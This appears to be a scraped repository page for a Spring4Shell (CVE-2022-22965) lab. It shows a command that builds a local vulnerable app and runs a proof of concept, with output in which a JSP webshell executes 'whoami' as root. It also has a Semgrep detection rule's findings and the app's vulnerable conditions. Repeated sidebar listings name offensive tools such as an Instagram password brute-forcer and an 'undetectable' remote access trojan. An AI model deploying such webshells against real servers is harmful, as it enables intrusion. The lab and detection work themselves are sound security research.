CVE-2022-22965 - CVE-2010-1622 redux

Last update: Aug 25, 2022

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Output example

rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identification with Semgrep

$ semgrep --config=semgrep-rule.yml .

Semgrep rule and test cases

Output example

Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Vulnerable app requirements¹

JDK 9 or above
Standalone Tomcat (no Embedded Tomcat) with WAR deployment
Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6)
No blocklist on WebDataBinder / InitBinder
Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.)
Writeable file system (e.g webapps/ROOT)

Sources

Assuming exploits similar to the known PoCs. There might be other gadgets... ↩

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements¹

Sources

Owner

Duarte Duarte

Everything I needed to understand what was going on with "Spring4Shell" - translated source materials, exploit, links to demo apps, and more.

Tools Crack Fb Terbaru

Tool for finding PHP source code vulnerabilities.

IPscan - This Script is Framework To automate IP process large scope For Bug Hunting

A python script to brute-force guess the passwords to Instagram accounts

Cve-2021-22005-exp

Scanning for CVE-2021-44228

Find existing email addresses by nickname using API/SMTP checking methods without user notification. Please, don't hesitate to improve cat's job! 🐱🔎 📬

威胁情报播报

Hack any account sending fake nitro QR code (only for educational purpose)

Arbitrium is a cross-platform, fully undetectable remote access trojan, to control Android, Windows and Linux and doesn't require any firewall exceptions or port forwarding rules

带回显版本的漏洞利用脚本

(D)arth (S)ide of the (L)og4j (F)orce, the ultimate log4j vulnerabilities assessor

Wonk is a tool for combining a set of AWS policy files into smaller compiled policy sets.

Tool To generate Stable Undetected Payload

Exploit-CVE-2021-21086

Detection tool of malware(s) by checksum (useful for forensic)

TightVNC Vulnerability.

Kunyu, more efficient corporate asset collection

A bare-bones POC container runner in python

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements1

Sources

Footnotes

Owner

Duarte Duarte

Everything I needed to understand what was going on with "Spring4Shell" - translated source materials, exploit, links to demo apps, and more.

Tools Crack Fb Terbaru

Tool for finding PHP source code vulnerabilities.

IPscan - This Script is Framework To automate IP process large scope For Bug Hunting

A python script to brute-force guess the passwords to Instagram accounts

Cve-2021-22005-exp

Scanning for CVE-2021-44228

Find existing email addresses by nickname using API/SMTP checking methods without user notification. Please, don't hesitate to improve cat's job! 🐱🔎 📬

威胁情报播报

Hack any account sending fake nitro QR code (only for educational purpose)

Arbitrium is a cross-platform, fully undetectable remote access trojan, to control Android, Windows and Linux and doesn't require any firewall exceptions or port forwarding rules

带回显版本的漏洞利用脚本

(D)arth (S)ide of the (L)og4j (F)orce, the ultimate log4j vulnerabilities assessor

Wonk is a tool for combining a set of AWS policy files into smaller compiled policy sets.

Tool To generate Stable Undetected Payload

Exploit-CVE-2021-21086

Detection tool of malware(s) by checksum (useful for forensic)

TightVNC Vulnerability.

Kunyu, more efficient corporate asset collection

A bare-bones POC container runner in python

Vulnerable app requirements¹